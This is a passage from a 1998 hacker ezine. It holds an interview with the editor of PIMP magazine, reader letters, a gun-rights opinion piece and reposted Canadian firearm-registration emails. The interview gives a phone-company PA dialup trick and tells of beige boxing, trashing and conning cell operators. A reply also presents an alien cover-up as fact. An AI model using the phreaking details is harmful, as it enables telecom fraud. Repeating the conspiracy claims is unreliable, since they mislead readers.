anything. When I was in +7th grade, a lineman was doing a ringback on a payfone, and was actually cool +enough to tell me what he did. I had the insane need to learn more. +Eventually, I think it was in 91.., I got my first computer. + + It was a Commodore 64.. and a lightning storm eventually took its life. +To this day, I still think it beats out any microsoft based boxes. Presently, I +use an amiga 600 to do all my stuff.. and a coupla 286's. + + + - How long has your board, Apocalypse 2000 been online? Describe what +it's about and what types of things it supports. + + I've only been a sysop of apocalypse 2000 for about 4 years, but the +BBS itself has been around since 1992. Subhuman and Jello Biafra are the +creators of it and did they ever pick a fitting name. It is utilized for the +free open discussion of hacking, phreaking, conspiracies, politics, narcotics, +and almost any other topic that relates to the h/p scene of today. We do not +have warez, and we cannot permit the posting of codes of any sort. There have +been some "situations" in the past that have brought us to a more paranoid +state. + + If you want to find out more about the BBS, http://dope.org/pimp/apoc2k/ +and on the web site, you will find a timeline, email links to all the sysops, +and any news in regards to the ssh connection we are setting up to the BBS. + + + - When was PIMP magazine started? What is it about? What are the goals? + + Well.. probe industries was just kind of a company name myself and +an exfriend used when going on various missions (you know what I mean, if you +don't .. nevermind). Over time,.. I had started writing philes.. and noticed +the degradation of quality ezines in the scene. So many had come out of +nowhere and had so much idiocy in them. How to blow up your school. How +to make the ereet red b0x 10 different ways. How to beige box off of your +neighbors line. Idiocy.. there was a complete loss of ethix in everything +I was reading. So, we just started getting together anything I had written, +and any more dox that we could and created "probe industries magazine philes, +aka pimp". About 2 years ago, I set up the web site (http://dope.org/pimp/) +and although the scale of readers and writers is small, the magazine stays +true to its nature and has some very valuable resources. The goal of the +magazine is to educate, to spread the word, yet to do it discreetly. The +magazine stays strictly dedicated to h/p and conspiracies or other things of +importance to the h/p underworld. + + + + - How has PIMP changed since the first issue was released? Basically, +how has it evolved? + + The magazine format and depth has changed a lot. The amount of writers +has gone from myself to about 8 or so people. The exfriend has since left and +lost the affiliation due to his lack of respect for people and business +within the group. We haven't heard from him. The original issue just had a +lot of dox on programming various cell phones and was initially created / +released to start the magazine. I even went as far as to put some cbi dialups +I found in that issue just to make it seem more valuable. Since then, thru +time and more data, we have gotten a lot more organized and have various +sections for articles and inpho. I try to include scene news in every issue, +but by the time it gets out, it's usually old news. I have no idea what the +future plans are for it.. in fact, a few months ago, the magazine was dead. +There was nothing new to be said.. no one had anything they wanted to submit, +and I had little time to do anything myself. I'd like to establish some form +of release date,. but there really never has been any. Whenever we can +get it out we do. If we get something decent submitted, it's added. + + + - As the editor of PIMP, do you find that it's difficult to get +people to write articles and contribute? And has it been difficult to +keep releasing issues? + + It all depends what mood people are in. I'm trying hard not to rip on +anyone here, but I have noticed that a vast majority of the h/p world has turned +to living on the net, and it's not all that good of a thing. I have qualms +with it. Scr1pt k1dd13s are everywhere, and no one believes in learning +anything more than compiling c programs to attack sites.. very few bother even +learning unix and networking, except to get around. It's been extremely +difficult to keep releasing issues and getting articles. I'm not the only +sysop of apocalypse 2k so that hasn't really slowed me down. The web site +(dope.org) is run by stash, a good friend and pimp who has given me space for +all these pages. The pimp site, apoc site, and my own page are all worked on +in my free time. Web stuff is part of what I do for a living.. so it takes me +little time. Subhuman / Devolve has spent an insane amount of time doing the +graphix for both the pimp and apoc sites. I just set em up. The greatest +difficulty in all, is just finding new things to put in the zine; keeping +with its theme. + + + + - What does it mean to be a PIMP? + +... y0wza, hard question. To be a writer for pimp.. means that you want to +broaden other peoples horizons mentally.. and to let them know inphormation +that isn't normally all too easy to get. At times, the zine can be very +technically oriented. It may sound hippyish when I say this.. but it's all +about bringing the power to the people.. the scene.. the h/p underworld.. +those that live in the grey area like we do. + + + - Can anyone write articles and submit them to PIMP? Where should they +be sent? How can people contact you and/or PIMP? + + Yes, in fact it's encouraged. All submissions can be sent to +pimp@dope.org and will be reviewed by various established members for accuracy +and if it substantial to the mag. On the norm, most everything we get, gets +published. + + + - How does someone join PIMP as a member? Can people apply or is +becoming a member by invitation only? + + If there is some way you would like to help out with the magazine, +then chances are you can become a part. Admitted, there are core members +that have known each other for years, and don't necessarily trust everyone +else as much. Basically, if you want to join and have something to offer, +it's all good. An email gets sent out to all current members to let them +know who is joining, and to ask if anyone has any problems with said +individual joining. Usually, there isn't a problem. + + + - Are you still actively involved in h/p? What do you think of the +current h/p scene? How is the local scene in Chicago? + + I am,.. and I'm not. I have had a discrepancy with ameritech for +almost two years now and do not have my own landline. I partake in various +projects here and there and still read, study, learn as much as I can. The +current h/p scene I have problems with. Too much is taken for granted. +too many people are trusting too many other people way too much. I have a +few contacts i've established over the years in various countries,.. and I +trust them somewhat.. but I think today's scene is littered with script kiddies +and aol hackers. Kids who think compiling a c program to attack some site is +hacking. Not once taking a look at the code and really trying to understand +what is taking place. + + The local scene in chicago is doing pretty well. A lot of new people +have come about in the past few years, and an even greater amount have +disappeared. It seems that every coupla years, the scene evolves massively +out here. Everytime it does, some good comes out of it and some bad. There +have been a few little narc kiddies and some people who have violated other +peoples well being out here.. but those situations get handled as they come.. +and they just remind everyone why you can't intially give anyone trust. +Trust should be earned. (in my opinion). + + + - Do you read any h/p zines? If so, please list a few of them. + +Truthfully, I read a bare minimum. I wish I could find more out there of +substance.. I once in a while read 2600 for laughs, phrack for a few good +articles out of the mag.. and the one zine I hold true respect for is 9x.. +stash's dope.org hosts them as well (http://www2.dope.org/9x). That group +has come a long way and has helped to keep things real. I hate using the +term real, but it is extremely fitting. I'm probably missing mags that I +do read.. but I cannot think of any others that are really all that good. +Most are a joke. + +Think about blacklisted 411,.. how to be a theif is basically all it's about. + + - Which h/p groups, if any do you respect? + +Hmm. Tricky. I respected AoD's passion (academy of deception, I was a member +in 95 or so..).. amitech, for knowing what they were doing. Their one bbs in +516... was nice while it lasted. 9x, as I said above, I respect for staying +true to the scene.. one of the last few diehard mags. Most of the groups I +knew weren't necessarily organizations, but scenes in other countries and +cities. 516 had a great scene for years while I frequent'ed it. As did 514 +(underworld was a damn good board).. as did +31 (the netherlands had a great +bbs scene).. as did germany.. the list can go on for a long time. I pretty +much gave a ton of shout outs to boards I used to call on my web page for +bbses. (http://dope.org/fringe/bbses.html) + + + - Have you ever... at any time considered joining another group? +If so, which one(s) and why? + +I was part of academy of deception (AoD).. a group that never really took +off due to lack of organization (but our hearts were in it haha). It was +dedicated to bringing people up to speed with the current h/p scene and also +to keep things afloat. the groups whq was on the digital fallout in 516 years +back. Eventually, edgewise took the board down (he had to go to college or +sumthin.. damns it) and the group fell. I considered submitting dox to 9x,.. +however, whenever I get something new.. I usually end up throwing it in pimp. +Eventually i'll get some dox to substance for 9x. We're all associates. +There is no competition.. it's all about free inpho.. and inpho meant to be +free. At this time, I don't plan to join any other groups.. because most +groups of today are just so people can attempt to make a name for themselves. +I won't bring up specifics.. but everyone wants to make some idiot claim to +fame, so they can feel 'eleet' and be bad asses when it comes to hax0r events +like defcon. In reality, most of these people are idiots and script kids and +wouldn't know the difference between a vax dialup and a rolm dialup. It's +funny how many groups and people 'affiliated' with these groups that there +are out there now. I remember some friends talking to a speaker at defcon +who really didn't know his head from his ass. But somehow, he was deemed a +badass and looked up to by all the other script kids because he 'must' be +sooo knowledgeable.. because he knows people that also are supposedly so +knowledgable. I think a claim to fame for any reason in the h/p underworld +just proves what an idiot you are. And I think 99.99% of the groups created +in this day and age are created just for that reason. + + + - Which web sites do you usually frequent? ;) + + dope.org in all aspects (check out my web page dope.org/fringe +for a tree of the dope phamily), disinfo.com, impropaganda.com, phreak.org, +geek-girl.com, freerepublic.com, zdnet.com, x86.org, and i'm sure there's +plenty more I just cannot think of right now. + + - Do you want to share any memorable hacking/phreaking experiences? +(achievements, strange things found, memorable or interesting hacks, +meetings, hacker cons, etc.) + + Interesting things found.. I didn't find this, but I'm pretty sure +another sysop from the area did (i'm trying hard to keep names outta this). +Most C.O.'s in chicagoland have a dialup loop to the PA system. The loop is +always located at the area code and prefix of that particular CO, and the last +four digits are 9951, and 9952. (ie, 708-xxx-9951 is one end of the loop). +Useful they are, but you will be broadcasting on the PA system while you talk. +Other things found.. very very very many useful computer systems.. locally and +far away.. however i'll stop myself right there. Because I really don't want +to go into detail on any of that. + + I've found that you can con any cell one operator into believing you +are the legitimate user. Same goes for ameritech cell operators. I recall +having been out beige boxing in 8th grade.. and a gang fight broke out all +over that neighborhood. We didn't know what was worse.. the gang war or the +cops everywhere. Achievements.. is a lousy thing to think of.. for me, +personally, I have achieved almost everything i've set out to do.. but I +don't think achievements you make in h/p should ever be public knowledge +like this. It tends to make everything too glorified and glamourized. +The most interesting thing i've learned over the years is the con game +implemented within anything you do. It helps in taking over anything.. +and that is a tool everyone should learn. + + The worst thing that has probably ever happened to me while trashing +was coming back from a great sprint CO with a lot of ess dox. My timing belt +broke halfway home so we got picked up.. only our new ride lost control while +exiting the expressway and launched off the expressway, taking out a light +post and rolling with the van ending upside down. People were hurt, ess +dox were all over the expressway, and it just plain sucked. A very +depressing night on many levels. + +Call me superstitous, but I will never hit that sprint CO again. + + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + + + I haven't ever been busted.. although I've been threatened by an +exfriend/cokehead that he'd turn me in. He changed his mind. Once, on a +board in germany, the sysop got a message from an administrator asking who was +dialing into their router and calling to his system. He posted it in the +public bases. it went on about ameritech doing an investigation blah blah blah.. +luckily, he did that. I never got in trouble for it.. and I know ma bell ended +up paying for it. Which to me, isn't a violation of ethix, because ma bell is +a money sucking bitch anyways. + + As for anyone else who has been busted.. there have been a few scares +out here.. and a few times people got busted for telco heists. A friend even +got pinched once for cell cables. There's been various other arrests of +friends and I have seen a lot of friends go to prison (not necessarily for +h/p related crimes though). Anyways, their business is their business.. and +to put it simple enough, if you are doing something deemed extremely illegal.. +try to keep it under wraps.. don't let the world be your alliance in whatever +you are doing. I truly, TRULY, do not partake in any illegal activities now.. +Why? because I have too many other things to worry about. And if I ever did.. +I made sure of my surroundings and who I could trust. We once had a sysadmin +scanning our message bases on apocalypse 2k for his ISP's name.. he found it.. +plenty.. and we found him.. and since little things like that happen here and +there in time, we have tightened up security. + + I recall the sysop of extreme dreams busting into chat with me one day.. +he had news crews at his house and people wanting to interview him. We had a +good laff together.. then police came.. Why? Someone downloaded a file on how +to make a coke machine bomb from his board. Naturally, he had a bbs ad +attached to the bottomed of this. However, the person who downloaded this +decided to fax it to some offices.. and scared people from using the coke +machines. They tried to blame extreme dreams for the cause. It's a tricky +world.. everyone needs a scapegoat. + + + + - Do you want to mention any boards that you call or people in the scene +that you know? + +There's a lot of people out there I truly appreciate in the scene.. + +Werd to the people who i've known for years and have been true to the scene: +subhuman, stash, silo, jello biafra, trainwreck, insane lineman, goodbytes, +burning horizon, nothing absolutely and absolutely nothing, luthor, special-k, +morpheus, jopiter, omega, and van hauser. + +Shouts to: everyone on the dope.org boxes, apocalypse 2k, the centre, and for +further shout-outs, bbs shout-outs, etc, hit my web page.. +http://dope.org/fringe/greets.html and http://dope.org/fringe/bbses.html + + + - Are there any other interesting h/p experiences or general comments +that you have and wish to share? + +Learn for the know-how and knowledge.. not for the abuse. +Don't consider anyone who's been around for a long time to outweigh you in wit. + + +One norm of the h/p underworld: + +Anyone with half a brain would stay loyal in the h/p underworld. +I would much rather be beaten by feds then to ever turn narc on an associate. +There is not only the factor that I respect my associates, but the factor that +when you turn on phamily, your life is much more endangered.. and you are better +off dead. You are never safe, no matter what they tell you. And to all those +kids that have turned tail and ran behind the badge of ignorance, leaving the +country wouldn't even help you. + +The h/p underworld has no barriers; law enforcement protection does. + + + - Thanks for agreeing to be interviewed Fringe. I'm sure that our readers +will enjoy reading this interview and gain some insight about you and PIMP. +To everyone that hasn't already checked out dope.org, I suggest that you do. + + +LETTERS TO THE EDITOR - {LETTERS} +Feedback about the Damage, INC. Newsletter: + +This is your forum for feedback. Direct all comments, questions, suggestions +and requests to damage_inc@mailcity.com. There's been a noticable lack of +user response in recent months. Hopefully, this issue will provoke a few +quality letters to the editor. Otherwise, this section may be discontinued. + +------------------------------------------------------------------------------- +Have no phear MA$E is here :) You might have noticed I used the quote of the +Damage, INC. Newsletter #11 in this message because in my eyes, it reflected a +great newsletter which goes on the top of my list as one of my favourite. + +This letter can be used as feedback if Blackie Lawless chooses. The reason I +say Blackie Lawless, is because I have to tip my hat off to his articles in +this issue. The Conspiracies And Coverups section was one of my favourite +articles, and probobly one of the best in all of the Damage, INC. Newsletters +past articles, whether it be, h/p articles, creative writing, etc. Since I +know alot about area-51 (also the name of my board) and read up on alot of +conspiracies this article really showed that you knew what you were talking +about (I was thinking of writing an article on MJ-12, Hanger-18, Area-51 to +clarify to everyone what it was since alot of people ask me, but their is no +need now, since your article made it perfectly clear and offered a great +opinion on the subject). I liked the fact that you mentioned some of the +projects (which is hard to find text files on) put more then one project +together in your article (Plato, Sigma, Redlight, etc.), and that's what made +it quality. All of your articles to date have been quality man. On the top +of my list (in no order) are; Field Phreaking: Junction Boxes, Tips on +Scanning 1-800s (which benefitted me personally because I havent done any +scanning due to my telephone status: rotary/pulse dialing, so that benefitted +me, and if it benefitted me, chances are, it benefitted other newbies who are +going to get into it once they have learned the basics) and of course your +article on PBXs tops them all for me since I am a newbie that also helped me +and will help others :) I am sure there are a few I am missing, and can't +remember at this time. I guess what I am saying is all of your articles have +been quality and wanted to write this feedback since no one has said much at +all about your work and wanted to make sure that people understand that your +articles are addictive but not lethal, you keep us honest, and we ain't seen +nothin' yet. + +MA$E + +------ + +Thanks alot for the generous compliments you've given me in your feedback. +Although it feels good to be singled out for my accomplishments in the +Damage, INC. Newsletter, it takes the efforts of every active Damage, INC. +Member in order to keep the quality level high. As for the inclusion of this +feedback being up to me, it was actually up to BLACKENED. He is the Editor of +the Damage, INC. Newsletter, so it was his decision. However, being the +selfless individual that he is, he's given up his soapbox for two months now, +since most Damage, INC. feedback seems to be directed to individual members for +some reason. :) In any event, hopefully BLACKENED, Shatazar and THC Phreak +get some feedback on their articles someday... + +I'm pleased that you found my Conspiracies and Coverups article about the +Majestic Twelve to be informative and factual. I look at myself as being a +well-rounded person and not just involved in one interest, like h/p. The +great UFO conspiracies do interest me, and I've spent many hours reading +materials about that subject. My main intention was to enlighten some people +about the fact that there is evidence that the U.S. government is covering up +the alien presence on Earth. As for including information on the various +government projects, I felt that it was important for readers to see the big +picture, how the projects link together, etc. As for Hangar-18 and Area 51, I +didn't discuss those topics in any amount of detail. Future articles could be +written about those topics, so if you still want to give it a try, go ahead. + +Concerning your pulse dialing situation, you should definitely remedy that ASAP. +I'm glad you have benefitted from my h/p related articles though. I hope that +other newbies gained something from them as well. Continue reading and learning +and I'll continue to write articles. That's right, you ain't seen nothin' yet! + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +OBJECTIVE OPINIONS - {OPINIONS} +Gun Control = No Control. + +There is a war that is being waged right now, but it is not with guns. Rather +guns are the victims of the war, not the weapon of choice. The way the insane, +liberal gun control lobbyists speak, they make it sound like guns are living, +sentient demons that slaughter innocent people every second of every day. "Guns +kill!" is their greatest slogan. I've heard their paranoid opinions, based on +misinformation and corrupt, hidden agendas. Now it's my turn to share my +opinions regarding guns and gun control with all of the readers of the +Damage, INC. Newsletter. + +First of all, do guns kill people? Haha... the last time I looked at a gun, it +didn't seem animated or evil to me. In fact, it didn't look threatening at all. +The obvious fact that gun lobbyists refuse to acknowledge and absorb is that +*people kill people*. A person can use a gun to kill another person. That is +true... but a person can use his hands, or virtually any kind of object (both +natural or man-made) to kill another human being. A gun is nothing more or +less than a tool that a person can use to preserve his life if reasonably +threatened. Guns should not be viewed as murderous demons, but as a tool that +enables people to defend themselves, instead of being a helpless victim. + +The next bit of propaganda that the gun control lobbyists spew are guns and +"our" (meaning "society's") children. How many commercials, TV programs, and +movies have you seen where a stupid, careless parent places a loaded handgun +in the bedside table? Then the little kid blows away his little sister or +brother. Yes, it does happen occasionally in reality. However, it is my firm +belief that those kind of accidental killings aren't necessary. First of all, +the children have not been educated on how to properly handle a firearm. +Parents should teach, and allow their children to handle and properly +discharge guns. The ignorance and naiveness of a child should be eliminated +through education... not depravation. An educated child may not have the +curious desire to play with a handgun after its hiding place is discovered. +The child would know that it is not a plaything... but a tool to defend his +family from home invasion. + +A child's home education of firearms should be *supplemented* by the school +system. Children in primary school should gain further practice on how to +handle and use firearms in a Physical Education course. I also believe that +high school students should also be able to take firearms courses to improve +their proficiency with firearms. Once children and young adults are armed with +information, they'll be better prepared if they arm themselves with a poorly +hidden gun, or even if their own lives were threatened. Secondly, parents could +use gun safes with a touch lock that's activated by a combination of presses +in the proper sequence to make it more difficult for ignorant children to gain +access to the handgun. The gun could be stored safely away in the parents +room in the safe behind a locked door as well for added security. Yet, the +handgun would still be close by and handy in case of an emergency. + +What do you think of that? Are you up in arms in protest? If so, ask +yourselves "Why?" Why would it be harmful for children to become knowledgable, +comfortable and proficient with firearms? Is it because, deep down you have +no faith and trust in your children, or children around you? Or do feel that it +would take too much time and effort to educate... and it would be easier to go +with the grain and eliminate access to guns of any type? If that is your +attitude, then perhaps you should give up your parental rights instead of +supporting your children's ignorance of firearms. Afterall, wouldn't that be +the easy way out? + +Fortunately, there is an example of a country that requires and encourages +their citizens to be armed and ready. In Switzerland, the citizens are the +army. From the time a Swiss child is born, he or she is used to the presence of +firearms. They may see their father cleaning and inspecting his military +assault rifle and ammunition in their home. After all, it is in the Swiss +Constitution of 1874 that all men must keep their military rifle and ammunition +in their homes, so they can mobilize quickly in the event that Switzerland is +invaded. After seeing the state of decay in Canada and the United States, it +is refreshing to see a country that has faith and trust in their own citizens. +Swiss citizens can possess long guns without any kind of certificate or +registration. Registration is only reserved for machine guns, sub-machine +guns, howitzers, anti-aircraft or anti-tank weapons, and some handguns. Despite +the fact that every Swiss house has some kind of firearm, gun crime is very low. +Perhaps that has something to do with the fact that there aren't many weak, +helpless people that are unable to arm and defend themselves in that country. + +Citizens defending themselves using guns. In my opinion, that is what +governments, cops, lobbyists, and their allies are really fighting against. +They want to take away our greatest tool for defending our lives, our property, +and our freedom. A citizenry that isn't armed is vulnerable and weak to +exploitation. It isn't a coincidence that as the government and their +supporters fight to strip us of legal ownership of firearms, cops want body +armour, hollow point bullets, fully-automatic assault rifles, etc. An unarmed +population that relies on the police for protection becomes a police state. + +Depending on where you live, the freedoms we used to enjoy, and still partially +enjoy, were earned by either ridding ourselves of oppressive internal forces, or +defense from outside forces. However, with no obvious enemy threatening western +nations, the war is within borders now. Once again there is a battle for +freedom. The government passes laws and edicts in attempts to control our +actions and our thoughts. The cops are becoming more aggressive, both in +weaponry and attitude. It is obvious that the very people that are supposed to +be representing us and serving us do not trust us. How do most idiots react to +that blatant disrespect and total mistrust? They cave in, fearing to sacrifice +what our forefathers sacrificed in wars of independence or national defense. +Well, in my opinion freedom is not free. Freedom must be fought for, and guns +are one important tool that can help individuals (or individuals that band +together) in that fight. To those of you that believe in gun control and +bannings, I have one final comment for you all. If you don't want to stand up +for your rights, that's fine... just don't tread on me and my rights. I would +use a gun only in self-defense. However, if you would rather trust Big Brother +and the Thought Police over me and others that believe in freedom, then you'll +get what you deserve when you're rights are all gone. Because when freedom is +gone, so will all of us freedom fighters. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} +Several opinionated articles on firearms: + +If you write/find any interesting articles, send them to us at +damage_inc@mailcity.com with a subject of "article submission". ;) + +------------------------------------------------------------------------------- +How To Register ANY Firearm Under C-68 + +Date: Tue, 5 Aug 1997 22:10:32 -0600 +From: "David A. Tomlinson" +Subject: How To Register ANY Firearm Under C-68 + +RULES FOR REGISTRATION UNDER BILL C-68 +DOWNLOAD, PRINT, COPY AND DISTRIBUTE; FORWARD AND POST EVERYWHERE. + +What follows is education on the coming situation when C-68 comes into +force. From the viewpoint of the NFA, we must do our best to protect +Canadians from both criminal charges and inconvenience that may arise from +the new registration system. It is unfortunate WHEN our activities +conflict with the plans and desires of the government and its bureaucracies, +but the defective legislation has that result. + +Where legislation is this complex and difficult, there will always be +opportunities concealed within it. Where complex and difficult legislation +is written by people who do not understand the theory and practice of +regulatory well enough, there will be many opportunities. + +Looking back at the development of firearms control law, it is obvious that +the writing of those laws by unqualified persons has been a major and +continuing defect. The loss of 20 per cent of all registered firearms +(under the "re-register every 5 years" plan of 1939) in 1945 was a red +warning that the registration system did not and could not work. The change +made in 1950 (making registration permanent) was a cover-up. In 1950, if +that legislation had not passed, the second "re-register every 5-years" +wave of re-registration would have conclusively proven that the system did not +-- could not -- keep track of registered firearms. The bureaucracies +persuaded the government to prevent the test from being made, and that was a +serious error. We are still suffering from the results of that coverup. + +The continuing problems include: + +(a) The Department of Justice does NOT understand administrative law, +and, in particular, the rules regarding the establishment, powers, +limitations and structure of the system of indpependent quasi-judicial +one-person licensing tribunals. Those tribunals are established by the +administrative and regulatory law improperly embedded in the current +Criminal Code and soon to be embedded in the revised Criminal Code and the +Firearms Act. A crash program should be instituted by the CFC to determine +where its proposals are in violation of basic principles of administrative +and regulatory law. + +I have suggested to the CFC that when such a program is started, that an +OUTSIDE lawyer or an OBJECTIVE lawyer new to the firearms field be +consulted, and that the NFA be asked to brief that lawyer on some of the +vulnerabilities the NFA has already detected and plans to attack. (This +paper would be a good starting point for him or her.) It will be most +embarrassing if much of the work now in progress turns out to be wasted +because those limitations were not considered, and much of the current CFC +output winds up being ruled illegal. + +(b) The writers of definitions in the Firearms Act and revised +Criminal Code failed to deal with the fundamental problems caused by +defective definitions of "firearm", "weapon", "offensive weapon", +"restricted weapon/firearm", "prohibited weapon/firearm", etc. when they +had the chance. The C-68 definitions are actually worse than those in current +law. Those defects will give rise to the following patten of (legitimate!) +behavior by the firearms community. + +What follows is NOT an attack on what the CFC and Registrar want to do and +plan to do. It is a PROTECTION of the interests of the 40 per cent of +Canadian households that contain at least one recreational firearm. Where +the plans of the Minister, the CFC and/or the Registrar can and/or will +have bad effects on Canadians, we have the right and the duty to tell Canadians +how to minimize the harmful effects that threaten them. That is one of the +NFA's major reasons for existence. + +This is an educational campaign. "Where the law is written badly, the +results will NEVER be the desired results." + +It is particularly unfortunate that we share common goals for DESIRED +RESULTS of firearms control legislation. In our view, legislation that +WILL have those desired results cannot be drafted by people who do not have the +required intimate knowledge of firearms, firearms owners, firearms users, +and the firearms community's complex interactions. + +Where that intimate knowledge is ignored, and the advice of police +agencies, lawyers and anti-firearms activists is taken, the resulting +legislation will be FULL of opportunites. In the material below, you will +see how some of the C-68 opportunities will be used. + +The current CFC plan is to have YOU apply to register your rifle or +shotgun, supplying ALL the information that will wind up on the +registration certificate. They do NOT plan to examine the firearm, so +EVERY ERROR ON THE REGISTRATION CERTIFICATE IS YOUR ERROR, AND MAY RESULT IN A +FIREARMS ACT SECTION 106/109 CRIMINAL CHARGE AGAINST YOU when the firearm IS +examined -- as it will be, the next time it is transferred. + +1. It is dangerous (due to the possibility that they may prosecute you +under Firearms Act section 106 and 109) to give registration officials ANY +information that will appear on the registration certificate when you first- +register a rifle or shotgun, unless you are a WORLD-CLASS expert in firearms +AND know EXACTLY what ALL registration officicals WANT on the registration +certificate. Any "error" of yours can result in charges the next time the +firearm is transferred. It is a criminal offence under Firearms Act +sections 106(1) and (3) and 109 to make any "assertion of belief" while +applying for a registration certificate if that "assertion of belief" later +TURNS OUT to be "false or misleading" -- IN THE OPINION OF SOME LATER +OFFICIAL, WHEN YOU ARE TRANSFERRING THE FIREARM TO A NEW OWNER. This is a +VERY dangerous area for making ANY error -- not because charges are LIKELY, +but because abusive enforcement is VERY common and this is an easy area to +lay charges. Even if found innocent, the charged person will be out +thousands of dollars in legal costs. + +2. Therefore, all future registrations of rifles and shotguns should +contain the MINIMUM possible information supplied by YOU, and should +include NO information where there might be ANY doubt or possibility of error. +The registration officials (presumably) know precisely what they want to call +your firearm -- so let THEM decide what entries should be put on your +registration certificate. + +NOTE: Regardless of what is stamped into the metal on a firearm, error is +likely. It may say "Browning" and "Ogden Utah and Montreal Canada" on it, +but what should the "Make" and "Manufacturer" entries be if it +was "Made in Japan" or "Made in Belgium" by some known or unknown factory? +THINK! Are you CERTAIN that the calibre stamped on the barrel of your rifle is correct, +and that it was never re-chambered by a gunsmith? That you are looking +at a Serial number, and not an assembly number, patent number, owner's number, +military number, or is therefore the WRONG number? If in ANY doubt, +enter "UNKNOWN." That entry can save you court costs -- and up to five years +imprisonment. + +3. Under the new registration system, they plan to add "enough extra +information to provide unique registration." That "extra" information will, +in most cases, have to come from "spare part" components -- like the +Remington-Rand "spare-part" slide on my Colt .45, in which the "frame or +receiver" (the ONLY part that is, in and of itself, a "firearm" by +Criminal Code definition) was made by -- Colt! + +4. If "Remington Rand" appears on my registration certificate, then I +cannot change the slide without being required to re-register (by +notification, at the least) the "firearm." + +5. That, obviously, prevents easy interchange of "spare parts" when +modifying, customizing or repairing my "firearm." + +NOTE: In rifles and shotguns, it can prevent rechambering, rebarrelling, +customization, changing a calibre, etc., etc. without re-registration or at +least formal notification that a change has been made. Where they accept +formal notification instead of re-registration, YOU have no proof that you +complied with a requirement, and YOU CAN BE CHARGED FOR THEIR +ERRORS. It is far better to PREVENT charges than to fight them. + +6. Therefore, in order to prevent the prevention of interchange, all future +registrations should be of firearms stripped to "frame or receiver" (with or +without small "unidentified" parts normally found IN a "frame or receiver"). + +7. There is no requirement in law for you to have, or to supply to the +registration officials, any "spare parts" when registering such a "firearm," +and no such addition to the law can be made by Order in Council. An OIC +can only be made to explain or elaborate the law, NOT to EXTEND it. + +8. Once registered, even if they insist on annotating the registration +certificate "frame or receiver ONLY," it is REGISTERED and no charge of +improper registration can be brought in regard to that firearm. The +legislation does NOT require that a "firearm" be complete, but DOES require +that the "firearm" be registered. The "frame or receiver" IS that firearm" +-- regardless of what "spare parts" are assembed to it or removed from it. + +NOTE: It may be impossible to denote on the registration certificate which +class of firearm it is, but that is only because the definition of +"firearm" and te definitions of "restricted firearm" +plus five differing definitions of prohibited firearm" are +in confused and confusing conflict with each other. + +The requirement in law is to register a "firearm." There is nothing to +require that the "firearm" be registered in a particular class, to require the +owner to modify it so that it falls into ONLY one class, or to purchase parts +that he does not currently own to satisfy the whims of a registration official +who wants it to fall into one -- and ONLY one -- class. Under administratve +law, a registration official who makes such demands has strayed beyond +his legitimate role. He is no longer exercising opinion judgement. He is +LEGISLATING -- and that is clearly beyond his vested powers. + +9. Unfortunately, that type of registration will cause major "unique +identification" problems. Since a "frame or receiver" HAS no Calibre, Shots +or Barrel length, those entries will have to be marked "UNKNOWN" on the +registration certificate. + +10. Additionally, there is serious danger in trying to supply PRECISELY +what the registration official WANTS for each entry on the registration +certificate for the "firearm" you are trying to register. Therefore, to +avoid risk of prosecution at some later date, the only SAFE way to apply for +a registration certificate is to apply in this form: "Make: UNKNOWN; Model: +UNKNOWN; Manufacturer: UNKNOWN; Calibre: UNKNOWN; Shots: UNKNOWN; Barrel +length: UNKNOWN." If YOU supply that information, and do not know that your +"J C Higgins" rifle was made by Marlin or that your Mauser rifle was made +by some company in Poland, that your Mauser 93 is actually a Mauser 95, or +that your ".30-06" has been rechambered to ".30-06 Ackley Improved" or ".308 +Norma Magnum", or that your "10-shot" .22 rifle magazine will take 15 +cartridges if they are .22 Short instead of .22 Long rifle, YOU can be held +to have given "false or misleading" information to get a registration +certificate. If the registration official makes the selections, YOU cannot +be charged for HIS errors. + +NOTE: Providing a Serial number on an application is also dangerous. FRAS +currently has firearms registered with a Model number, a patent number, an +assembly number, a Serial number that appears only on a "spare part", etc. +If an applicant makes such an error, he violates FA s. 106(1) and (3), and is +liable to up to five years imprisonment [FA s. 109]. DO NOT ENTER! + +11. SUMMARY: There are two problems: (a) If you take in or describe the +whole firearm for registration, you run the risk of being unable to modify, +repair or customize it at some later date. (b) If YOU tell them what +entries to put on the registration certificate, YOU can face criminal +charges at some later date when a registration official actually SEES the +firearm during transfer to someone else, and decides that YOU gave "false or +misleading" information to get your registration certificate. + +NOTE: ALWAYS keep your Application to Register -- to PROVE that YOU did +not have anything to do with registration certificate entries that turn out +to be wrong -- YEARS later. That AtoR is YOUR INSURANCE. KEEP IT! + +12. The cures for those problems are closely related. + +(a) Registering ONLY the "frame or receiver" preserves your flexibility +when modifying, repairing or customizing in later years, and preserves +that flexibility for the NEXT owner. In the future, a "flexibly-registered" +firearm will command a better price than a "rigidly-registered" one that +cannot be altered without excessive paper work. + +(b) ALWAYS leave it up to the registering officials to determine what +your firearm IS and what THEY want to call it on the registration +certificate. Then YOU cannot be charged -- at some later date, by someone +who is not even HIRED yet -- with making an "assertion of belief" that +turned out to be "false or misleading" [FA s. 106(1) and (3), 109]. + +13. Unfortunately, this pattern of registration conflicts with the intent +of the legislation to identify firearms by class (unrestricted firearm, +restricted firearm, and prohibited firearm [including 5 DIFFERENT and +mutually- exclusive subclasses of "prohibited firearm']). That is NOT a +result of OUR activities -- it is a result of the defective definitions of +"firearm", "weapon", "restricted firearm" and "prohibited firearm" in the Act. + +14. Forcing the firearms control bureaucracy to provide the identification +of the firearm is going to be costly, at least $90 per firearm to be identified. +If all of the 20 million unrestricted rifles and shotguns are to be "identified" +by the firearms control bureaucracy, that comes to $1.8 BILLION. Is C-68 +cost-effective? Keep asking that question, everyone. Because it is not. + +Dave Tomlinson, NFA + +FOCUS: This information is crucial to the future of the firearms community. +Give it the widest possible circulation, and explain it to everyone. The +proposed methods of registration are illegal and abusive, so we must +comply with the law -- NOT the whim of some firearms control bureaucrat. +To obey the law CORRECTLY, it is necessary to UNDERSTAND the law. + + +------------------------------------------------------------------------------- +The Most Dangerous Item in C-68 + +Date: Fri, 28 Nov 1997 07:08:50 -0600 +From: "David A. Tomlinson, NFA" +Subject: The Most Dangerous Item in C-68 + +C-68's version of the Criminal Code, section 117.15: + +"117.15 (1) Subject to subsection (2), the Governor in Council may make +regulations prescribing anything that by this Part is 